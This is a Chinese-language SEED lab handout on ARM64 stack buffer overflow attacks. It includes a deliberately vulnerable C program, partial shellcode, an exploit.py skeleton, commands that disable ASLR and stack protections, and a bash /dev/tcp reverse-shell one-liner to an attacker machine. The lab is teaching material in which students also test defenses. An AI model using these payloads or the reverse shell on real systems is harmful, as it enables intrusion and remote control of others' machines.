缓冲区溢出攻击实验（ARM64 版）

1 概述

缓冲区溢出是程序试图在缓冲区边界之外写入数据导致的。这种漏洞可以被恶意用户利用来改变程序的行为，执行恶意代码。本实验的目标是让学生对这类漏洞获得更深的理解，并学习如何在攻击中利用这些漏洞。

在这个实验中，学生们将得到四个不同的服务器，每个服务器上都运行一个有缓冲区溢出漏洞的程序。他们的任务是利用这一漏洞最终在这几台服务器上获取 root 权限。除了攻击外，学生们还将尝试一些针对缓冲区溢出攻击的防范措施，他们需要评估这些方案是否有效，并解释原因。本实验涵盖了以下主题：

- 缓冲区溢出漏洞和攻击
- 函数调用中的堆栈布局
- 地址随机化、非执行堆栈和 StackGuard
- Shellcode。我们还有一个单独关于 Shellcode 的实验。

参考资料和视频。 关于缓冲区溢出攻击的详细内容可以参见以下资料：

- SEED 教科书，第 4 章，*Computer & Internet Security: A Hands-on Approach*, 3rd Edition, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net`.
- Udemy 上的 SEED 视频，第 4 节，*Computer Security: A Hands-on Approach*, by Wenliang Du. 详情请见 `https://www.handsonsecurity.net/video.html`.

实验环境。 本实验在 SEED Ubuntu 20.04 VM 中测试可行。您可以从 SEED 网站上下载我们预先构建好的镜像并在您自己的电脑上运行 SEED VM。然而，大多数 SEED 实验可以在云端进行，您可以按照我们的说明在云端创建 SEED VM。

给教师的注意事项。 教师可以根据需要改变 L1, ..., L4 的值来定制这个实验。有关详细信息，请参见 Section 2.2。根据学生背景以及分配的时间，教师也可以将 Level-2、Level-3 和 Level-4 的任务（或其中一些）设为可选任务。Level-1 任务足以涵盖缓冲区溢出攻击的基础知识。从 Level 2 到 Level 4 会增加攻击的难度。所有防范措施任务都基于 Level-1 任务，因此跳过其他 Level 不会影响这些任务。

2 实验室环境搭建

请从实验网站下载名为 `Labsetup.zip` 的文件到您的虚拟机中，解压后会得到一个名为 `Labsetup` 的文件夹。该文件夹内包含了完成本实验所需的所有文件。

2.1 关闭防御措施

在开始本实验之前，我们需要确保地址随机化防御措施已关闭；否则，攻击将会十分困难。您可以使用以下命令来实现：

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

2.2 存在漏洞的程序

本次实验中用于攻击的目标程序名为 `stack.c`，位于 `server-code` 文件夹内。该程序具有缓冲区溢出漏洞，您的任务是利用此漏洞获得 root 权限。下面列出的代码去除了部分非关键信息，所以与从实验设置文件获取的内容略有不同。

Listing 1: 存在漏洞的程序 `stack.c`

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* 更改此值将改变堆栈布局。
 * 教师可以每年更改此值，以防止学生使用过往的答案。 */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* 下面的语句存在缓冲区溢出问题 */
    memcpy(buffer, str, 517);

    return 1;
}

void foo(char *str)
{
    ...
    bof(str);
}

int main(int argc, char **argv)
{
    char str[517];

    int length = fread(str, sizeof(char), 517, stdin);
```

```
    foo(str);
    fprintf(stdout, "==== Returned Properly ====\n");
    return 1;
}
```

上述程序存在缓冲区溢出漏洞。它从标准输入读取数据，然后将这些数据复制到 bof() 函数中的另一个缓冲区内。原始输入的最大长度为 517 字节，但 bof() 中的缓冲区只有 BUF_SIZE 个字节长（小于 517)。当使用 memcpy() 将数据复制到目标缓冲区时，else 因为 strcpy() 不会检查边界，会发生缓冲区溢出。

该程序将在具有 root 权限的服务器上运行，并将标准输入重定向到服务器与远程用户之间的 TCP 连接。因此，程序实际上是从远程用户处获取数据。如果攻击者能够利用此缓冲区溢出漏洞，他们就可以在服务器上获得 root shell。

编译。 要编译上述存在漏洞的程序，需要使用 -fno-stack-protector 和 "-z execstack" 选项关闭 StackGuard 和非可执行堆栈保护。下面是一个编译命令的例子（环境变量 L1 设定了 stack.c 中的 BUF_SIZE 常量值）：

```
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
```

编译命令已提供在 Makefile 中。要编译代码，请输入 make 来执行这些命令。变量 L1、L2、L3 和 L4 在 Makefile 中被设置，并会在编译过程中使用。编译完成后，需要将可执行文件复制到 bof-containers 文件夹中以便容器可以使用。以下命令完成编译和安装。

```
$ make
$ make install
```

教师定制。 为了使本次实验与过去的略有不同，教师可以要求学生使用不同的 BUF_SIZE 值来重新编译服务器代码。在 Makefile 中，BUF_SIZE 的值由四个变量 L1, ..., L4 设定。教师可根据以下建议选择这些变量的值：

- L1: 选择一个介于 100 和 400 之间的数字
- L2: 选择一个介于 40 和 200 之间的数字
- L3: 选择一个介于 100 和 400 之间的数字
- L4: 选择一个介于 20 和 80 之间的数字；我们需要将这个值保持较小，使本级别比上一级别更具挑战性。

服务器程序。 在 server-code 文件夹中，可以找到名为 server.c 的程序。这是服务器的主要入口点。它侦听端口 9090。当接收到 TCP 连接时，会调用 stack 程序，并将该 TCP 连接作为标准输入提供给 stack 程序。这样，在 stack 读取标准输入数据时，实际上是读取了 TCP 连接上的数据，即这些数据由 TCP 客户端的用户提供。学生不需要阅读 server.c 的源代码。

2.3 容器设置和命令

请从实验的网站下载 Labsetup.zip 文件到你的 VM 中，解压它，进入 Labsetup 文件夹，然后用 docker-compose.yml 文件安装实验环境。对这个文件及其包含的所有 Dockerfile 文件中的内容的详细解释都可以在链接到本实验网站的用户手册 [1] 中找到。如果这是您第一次使用容器设置 SEED 实验环境，那么阅读用户手册非常重要。

在下面，我们列出了一些与 Docker 和 Compose 相关的常用命令。由于我们将非常频繁地使用这些命令，因此我们在 .bashrc 文件（在我们提供的 SEED Ubuntu 20.04 虚拟机中）中为它们创建了别名。

```
$ docker-compose build  # 建立容器镜像
$ docker-compose up     # 启动容器
$ docker-compose down   # 关闭容器

// 上述 Compose 命令的别名
$ dcbuild       # docker-compose build 的别名
$ dcup          # docker-compose up 的别名
$ dcdown        # docker-compose down 的别名
```

所有容器都在后台运行。要在容器上运行命令，我们通常需要获得容器里的 Shell 。首先需要使用 docker ps 命令找出容器的 ID ，然后使用 docker exec 在该容器上启动 Shell 。我们已经在 .bashrc 文件中为这两个命令创建了别名。

```
$ dockps        // docker ps --format "{{.ID}}  {{.Names}}" 的别名
$ docksh <id>   // docker exec -it <id> /bin/bash 的别名

// 下面的例子展示了如何在主机 C 内部得到 Shell
$ dockps
b1004832e275  hostA-10.9.0.5
0af4ea7a3e2e  hostB-10.9.0.6
9652715c8e0a  hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#

// 注: 如果一条 docker 命令需要容器 ID, 你不需要
//     输入整个 ID 字符串。只要它们在所有容器当中
//     是独一无二的，那只输入前几个字符就足够了。
```

如果你在设置实验环境时遇到问题，可以尝试从手册的 “Miscellaneous Problems” 部分中寻找解决方案。

注意。 在运行 "docker-compose build" 命令构建 Docker 镜像之前，我们需要编译并复制服务器代码到 bof-containers 文件夹中。这一步骤已在 Section 2.2 中描述。

[1] 如果你在部署容器的过程中发现从官方源下载容器镜像非常慢，可以参考手册中的说明使用当地的镜像服务器

3 任务 1: 熟悉 Shellcode

缓冲区溢出攻击的最终目标是将恶意代码注入目标程序，从而使该代码能够在目标程序的权限下执行。Shellcode 是在大多数代码注入攻击中广泛使用的技术。让我们通过本任务来熟悉它。

Shellcode 通常用于代码注入攻击。它本质上是一段启动 shell 的代码，并且通常用汇编语言编写。在此次实验中，我们仅提供了一个 Shellcode 的二进制版本，并没有解释其工作原理，因为这比较复杂。如果您对 Shellcode 感兴趣，并希望从头开始编写 Shellcode，请参阅名为《Shellcode Lab》的 SEED 实验。

```
shellcode = (
   "\x0b\x05\x01\x10\x0c\x04\x84\xd2\x73\x01\x0c\xcb\x29\x01\x09\x4a"
   ... (省略行) ...
   "\x94\x02\x14\xca\xe2\x03\x14\xaa\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"
   "/bin/bash*"                                                    ❶
   "-c****"                                                        ❷
   "/bin/ls -l; echo Hello 64; /bin/tail -n 4 /etc/passwd          *" ❸
   # 这行中的 * 作为位置标记                                        *
   "AAAAAAAA"   # 占位符，对应 argv[0] --> "/bin/bash"
   "BBBBBBBB"   # 占位符，对应 argv[1] --> "-c"
   "CCCCCCCC"   # 占位符，对应 argv[2] --> 命令字符串
   "DDDDDDDD"   # 占位符，对应 argv[3] --> NULL
).encode('latin-1')
```

该 Shellcode 启动了 `"/bin/bash"` shell 程序（行 ❶），但给它提供了两个参数：`"-c"`（行 ❷）和一个命令字符串（行 ❸）。这表明 shell 程序将运行第二个参数中的命令。这些字符串末尾的 `*` 仅是占位符，并在执行 Shellcode 时会被替换为一个零字节，即 `0x00`。每个字符串需要有一个零来结束，但我们不能把零放在 Shellcode 中。相反，我们在每个字符串的末尾放置了一个占位符，在执行过程中动态地将零放入该占位符中。

如果我们希望 Shellcode 运行其他命令，只需修改第 ❸ 行中的命令字符串即可。但在进行更改时，请确保不要改变这个字符串的长度，因为 `argv[]` 数组中占位符的起始位置（紧接在命令字符串之后）是硬编码在 Shellcode 的二进制部分中的。如果改变了长度，则需要修改二进制部分。为了保持该字符串末尾的星号处于相同的位置，您可以添加或删除空格。

您可以在 `shellcode` 文件夹中找到一个通用的 Shellcode。里面有一个名为 `shellcode_64.py` 的 Python 程序。它将把二进制 Shellcode 写入 `codefile_64`。然后，您可以使用 `call_shellcode` 来执行其中的 Shellcode。

```
// 生成 Shellcode 二进制文件
$ ./shellcode_64.py    ➞  生成 codefile_64

// 编译 call_shellcode.c
$ make                 ➞  生成 a64.out

// 测试 Shellcode
$ a64.out              ➞  执行 codefile_64 中的 Shellcode
```

任务. 请修改 Shellcode，以便您可以使用它来删除一个文件。请将您修改后的 Shellcode 包括在实验室报告中，并附上截图。

4 任务 2：第一关

当我们使用包含的 `docker-compose.yml` 文件启动容器时，将会运行四个容器，代表四种难度级别的难关。我们将在这个任务中攻打第一关。

4.1 服务器

我们的第一个目标是在 `10.9.0.5` 上运行的服务器（端口号为 `9090`，该程序 `stack` 是一个 64 位的程序）。我们首先向此服务器发送一条正常消息。您将会看到目标容器打印出来以下信息（实际显示的消息可能不同）。

```
// 在虚拟机上（即攻击者机器）
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C

// 目标容器中打印出的消息
server-1-10.9.0.5  | Got a connection from 10.9.0.1
server-1-10.9.0.5  | Starting stack
server-1-10.9.0.5  | Input size: 6
server-1-10.9.0.5  | Frame pointer (x29) inside foo():  0x0000ffffffffff110
server-1-10.9.0.5  | Frame pointer (x29) inside bof():  0x0000ffffffffff080
server-1-10.9.0.5  | Buffer's address inside bof():     0x0000ffffffffff0a0
```

从打印出的信息来看，缓冲区地址大于 `bof()` 函数的帧指针。由于返回地址被存储在（帧指针 + 8）的位置，因此缓冲区显然位于返回地址之上。这与 x86/amd64 架构不同，在后者中，缓冲区存在返回地址之下。这种差异导致了一个在 x86/amd64 上没有的挑战：如何使用缓冲区溢用来修改返回地址?

服务器会接受用户最多 `517` 字节的数据，但实际的缓冲区没有那么大，这会导致缓冲区溢出。您的任务是构建攻击载荷以利用此漏洞。如果您把攻击载荷保存在一个文件中，可以使用以下命令将其发送给服务器。

```
$ cat <file> | nc 10.9.0.5 9090
```

如果服务器程序正常返回，将会打印出 `"Returned Properly"`。如果没有看到这个消息，则表示 `stack` 程序可能已经崩溃。服务器仍将继续运行并接受新的连接。

在这个任务中，我们把缓冲区溢出攻击需要的一些关键信息作为提示显示给学生，这包括帧指针的值和缓冲区的地址。在 x86、amd64 和 arm64 架构中，帧寄存器分别被命名为 `ebp`、`rbp` 及 `x29`。您可以利用提供的信息构建您的攻击载荷。

增加随机性。 我们在程序中增加了一点随机性，使得不同的学生会看到不同的缓冲区地址和帧指针值。这些数值只有当容器重启时才会改变，因此只要您保持容器运行状态不变，就会看到相同的数字

（不同学生的数字仍然不同）。这种随机性与地址随机化机制不同。其唯一目的是使每个学生的工作有所不同。

4.2 编写攻击代码并发起攻击

要利用目标程序中的缓冲区溢出漏洞，我们需要准备一个攻击载荷，并将其保存在一个文件中（我们将在本文档中使用 `badfile` 作为文件名）。我们将使用 Python 程序来实现这一点。我们提供了一个名为 `exploit.py` 的程序框架，其已被包含在实验环境设置文件中。代码尚不完整，学生需要替换一些关键值。

Listing 2: 攻击代码 (`exploit.py`)

```
#!/usr/bin/python3
import sys

# 您可以复制并粘贴任务1的 shellcode
shellcode = (
  ""                    # ☆ 需要更改 ☆
).encode('latin-1')

# 使用 NOP 填充内容 (0xD503201F 是 arm64 架构中的 NOP 指令)
nop = (0xD503201F).to_bytes(4, byteorder='little')
content = bytearray(517)
for offset in range(int(500/4)):
   content[offset*4:offset*4 + 4] = nop

####################################################################
# 将 shellcode 放在攻击载荷的某个位置
start = 0               # ☆ 需要更改 ☆
content[start:start + len(shellcode)] = shellcode

# 决定返回地址值，并将其放在攻击载荷的某个位置
ret    = 0x00           # ☆ 需要更改 ☆
offset = 0              # ☆ 需要更改 ☆

# 根据位数选择使用 4 或者 8 字节填充内容
content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
####################################################################

# 将内容写入文件
with open('badfile', 'wb') as f:
  f.write(content)
```

需要注意的是，受攻击程序中的缓冲区溢出问题是由 `memcpy()` 函数引起的，它与 `strcpy()` 不同，不会终止于零。因此，在您的输入中可以包含零。其实，从打印信息可以看到，每个地址的最高两位都是零。

在您完成上述程序后，请运行该程序。这将生成 badfile 的内容，然后将其发送给服务器。如果您的攻击代码实现正确，则您放置在 shellcode 内部的命令将会被执行。如果您的命令产生了输出，应能够在容器窗口中能看到。请提供证明以展示您成功地让服务器执行了您的命令。

```
$./exploit.py   // 创建 badfile
$ cat badfile | nc 10.9.0.5 9090
```

反向 shell。 其实攻击者并不只是想运行一个预定的命令，而是希望在目标服务器上获取一个 root shell，这样就可以运行任何命令。由于我们在远程，如果仅仅让服务器执行 /bin/sh 这样的 shell 程序，我们并没法控制这个 shell 程序。反向 shell 是解决此问题的一种典型技术，请参阅第 10 节以获取如何运行反向 shell 的详细说明。请修改 shellcode 中的命令字符串，以便可以在目标服务器上获得一个反向 shell。请在实验室报告中附上截图和解释。

5 任务 3: 第二关

在本任务中，我们稍微提高攻击难度，将不显示一些关键信息。我们的目标服务器为 10.9.0.6。端口号仍为 9090。我们首先向此服务器发送一个正常消息。以下是由目标容器打印出的消息。

```
// 在虚拟机（即攻击者机器）上
$ echo hello | nc 10.9.0.6 9090
Ctrl+C

// 容器中打印出来的消息
server-2-10.9.0.6  | Got a connection from 10.9.0.1
server-2-10.9.0.6  | Starting stack
server-2-10.9.0.6  | Input size: 6
server-2-10.9.0.6  | Buffer's address inside bof():     0x0000ffffffffff3d0
server-2-10.9.0.6  | ==== Returned Properly ====
```

我们看到，服务器仅提供了一个线索，缓冲区的地址，而没有提供帧指针的值。这意味着缓冲区的大小是未知的，这使得利用该漏洞做攻击比第一级更加困难。虽然实际的缓冲区大小可以在 Makefile 中找到，但在攻击中你不被允许使用这些信息，因为在现实世界中你大概率是看不到这个文件的。为简化任务，我们假设缓冲区大小的范围是已知的。另一个对您可能有用的事实是，由于内存对齐的原因，在 32 位程序中帧指针的值总是 4 的倍数，在 64 位程序中则是 8 的倍数。

```
缓冲区大小范围（以字节为单位）: [100, 200]
```

您的任务是构造一个 payload 来利用服务器上的缓冲区溢出漏洞，并通过反向 shell 技术在目标服务器上获取 root shell。与第一关任务类似，您的 payload 可以包含零值。请注意，您只能构造一个 payload，它必须能应付该范围内的任何缓冲区大小。如果使用暴力破解方法（即每次尝试一个缓冲区大小），将无法获得全部分数。尝试次数越多，越容易被目标检测击败，因此减少尝试次数对于攻击来说至关重要。在您的实验报告中，需要描述您的方法，并提供证据。

6 任务 4：第 3 关

在之前的任务中，我们的目标服务器使用了 memcpy() 函数将数据复制到目标缓冲区。在这个任务中，我们将切换为 strcpy()，该函数在遇到零字节时停止复制。因此，我们的负载中不能再包含任何零。我们的新目标为 10.9.0.7，该地址运行的是 64 位版本的 stack 程序。首先，我们将向这个服务器发送一条问候消息。下面将会打印出目标容器输出的消息。

```
// 在虚拟机（即攻击者机器）上
$ echo hello | nc 10.9.0.7 9090
Ctrl+C

server-3-10.9.0.7  | Got a connection from 10.9.0.1
server-3-10.9.0.7  | Starting stack
server-3-10.9.0.7  | Input size: 6
server-3-10.9.0.7  | Frame pointer (x29) inside foo():  0x0000ffffffffff120
server-3-10.9.0.7  | Frame pointer (x29) inside bof():  0x0000ffffffffefc0
server-3-10.9.0.7  | Buffer's address inside bof():     0x0000ffffffffefe8
server-3-10.9.0.7  | ==== Returned Properly ====
```

你的任务是构建一个负载来利用服务器的缓冲区溢出漏洞。你最终的目标是在目标服务器上获得 root shell。你可以使用从任务 1 中的 shellcode。

挑战。 与 32 位机器上的缓冲区溢出攻击相比，在 64 位机器上的攻击更为困难。最困难的部分在于地址问题。虽然 x64 架构支持 64 位地址空间，但目前只允许从 0x00 到 0x00007FFFFFFFFFFF 的地址。这意味着每一个 8 字节地址的最高两位总是为零。这就带来了一个问题。

在我们的缓冲区溢出攻击中，我们需要将至少一个地址存储在负载中，并通过 strcpy() 函数将其复制到栈中。我们知道 strcpy() 函数会在遇到零时停止复制。因此，如果负载中间出现了一个零，则该零之后的内容将不会被复制到栈中。如何解决这个问题是这一关中最难的挑战之一。在你的报告中，你需要描述你是如何解决这个问题的。

7 任务 5：第 4 关

在此任务中的服务器与第 3 关中服务器相似，不同之处在于缓冲区大小要小得多。从以下输出中，可以看到帧指针和缓冲区地址之间的距离比第 3 级要小得多。你的目标仍然是一样的：获取此服务器上的 root shell。服务器仍会从用户那里接收 517 字节的数据输入。

```
server-4-10.9.0.8  | Got a connection from 10.9.0.1
server-4-10.9.0.8  | Starting stack
server-4-10.9.0.8  | Input size: 6
server-4-10.9.0.8  | Frame pointer (x29) inside foo():  0x0000ffffffffff120
server-4-10.9.0.8  | Frame pointer (x29) inside bof():  0x0000ffffffffff0e0
server-4-10.9.0.8  | Buffer's address inside bof():     0x0000ffffffffff100
server-4-10.9.0.8  | ==== Returned Properly ====
```

8 任务 6：实验地址随机化

在本实验的开始，我们关闭了其中一种防护措施——地址空间布局随机化（ASLR）。在这个任务中，我们将重新启用该功能，并观察它如何影响攻击。您可以在虚拟机上运行以下命令来启用 ASLR。此更改是全局性的，并且将会影响虚拟机内部所有正在运行的容器。

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

请向第一关和第三关服务器发送一个 `hello` 消息，多发几次。在您的报告中，请记录您的观察结果，并解释为什么启用 ASLR 使缓冲区溢出攻击会更加困难。

9 任务 7：实验其他防护措施

9.1 任务 7.a: 启用 StackGuard 保护

许多编译器，如 `gcc`，实现了一种称为 *StackGuard* 的安全机制，以防止缓冲区溢出。在有此防护机制的情况下，缓冲区溢出攻击将不会生效。实验里的被攻击程序是在未启用 StackGuard 保护的情况下编译的。在这个任务中，我们将打开它并观察会发生什么。

请前往 `server-code` 文件夹，在 `gcc` 参数中去掉 `-fno-stack-protector` 选项，并重新编译 `stack.c`。我们仅使用 `stack-L1`，但与其在容器中运行该程序，我们将直接从命令行运行它。请创建一个可以导致缓冲区溢出的文件，然后向 `stack-L1` 传入该文件的内容。请描述并解释您的观察结果。

```
$ ./stack-L1 < badfile
```

9.2 任务 7.b: 启用不可执行栈保护

操作系统过去是允许可执行栈的，但现在情况已经改变：在 Ubuntu 操作系统中，程序（和共享库）的二进制映像必须声明它们是否需要可执行栈，即它们需要在程序头中设置一个标记字段。内核或动态链接器使用此标记来决定是否让运行的程序的栈可执行或不可执行。此标记由 `gcc` 自动完成，默认情况下使栈不可执行。我们可以在编译中使用 `"-z noexecstack"` 标志专门使其不可执行。在我们之前的任务中，我们使用 `"-z execstack"` 使栈可执行。

在此任务中，我们将使栈不可执行。我们将在 `shellcode` 文件夹中进行这个实验。`call_shellcode` 程序会在堆栈上放置 shellcode 的副本，然后从栈上执行代码。请重新编译 `call_shellcode.c` 生成 `a32.out` 和 `a64.out`，但不使用 `"-z execstack"` 选项。运行它们，并描述和解释你的观察。

击败非执行栈防御措施。 需要注意的是，不可执行栈仅使得在栈上运行 shellcode 不可能，但这并不能完全防止缓冲区溢出攻击，因为还有其他方式来运行恶意代码。例如 *return-to-libc* 攻击。我们为此设计了一个单独的实验。如果你感兴趣，请参见我们的 Return-to-Libc 攻击实验。

10 反向 shell 指南

反向 shell 的关键思想是将 shell 的标准输入、输出和错误设备重定向到网络连接，这样 shell 就会从该连接获取输入，并将输出也发送回该连接。在连接的另一端运行的是攻击者的程序，这个程序只是显示来自另一端的 shell 程序打印出来的内容，并将攻击者键入的内容通过网络连接发送给 shell 程序。

攻击端常用的一个程序是 `netcat`，如果用 `"-l"` 选项，则会运行一个监听指定端口的 TCP 服务器。该服务器程序会打印客户端发送来的内容，并把用户输入的内容发到客户端。在下面的实验中，我们将使用 `netcat`（简写为 `nc`）来监听 9090 端口。我们先仅关注第一行。

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

上述的 `nc` 命令会阻塞，等待连接。我们在服务器（`10.0.2.5`）上直接运行以下 bash 程序，这是模拟攻击者通过漏洞在服务器上做的事。这个 bash 命令将与攻击者机器的 9090 的端口建立一个 TCP 连接，从而创建一个反向 shell。我们可以从上述结果中看到 shell 程序的提示符，这表明 shell 程序正在服务器上运行。我们可以通过键入 `ifconfig` 命令来验证 IP 地址确实为 `10.0.2.5`，这是属于服务器的 IP 地址。以下是 bash 命令：

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

上述命令比较复杂，我们在下面进行详细的解释：

- `"/bin/bash -i"`: 选项 `i` 表示这是交互模式，意味着 shell 程序会提供 shell 提示符。
- `"> /dev/tcp/10.0.2.6/9090"`: 这使得 shell 程序的标准输出设备 `stdout` 被重定向到一个指定的 TCP 连接。在 unix 系统中，`stdout` 的文件描述符为 `1`。
- `"0<&1"`: 文件描述符 `0` 表示标准输入设备 `stdin`。此选项告诉系统使用标准输出设备作为标准输入设备。由于标准输出已经被重定向到 TCP 连接，因此标准输入也用同一个 TCP 连接。
- `"2>&1"`: 文件描述符 `2` 表示标准错误 `stderr`。这使得错误输出也被重定向到同一个 TCP 连接。

总之，命令 `"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1"` 在服务器机器上启动了 bash 程序，它的输入来自一个 TCP 连接，输出也发送到相同的 TCP 连接。当我们在 `10.0.2.5` 上执行这条 bash 命令时，它会回连到 `10.0.2.6` 上运行的 netcat 进程。通过 netcat 显示的 “Connection received on 10.0.2.5...”，我们可以确认这点。

11 提交说明

你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。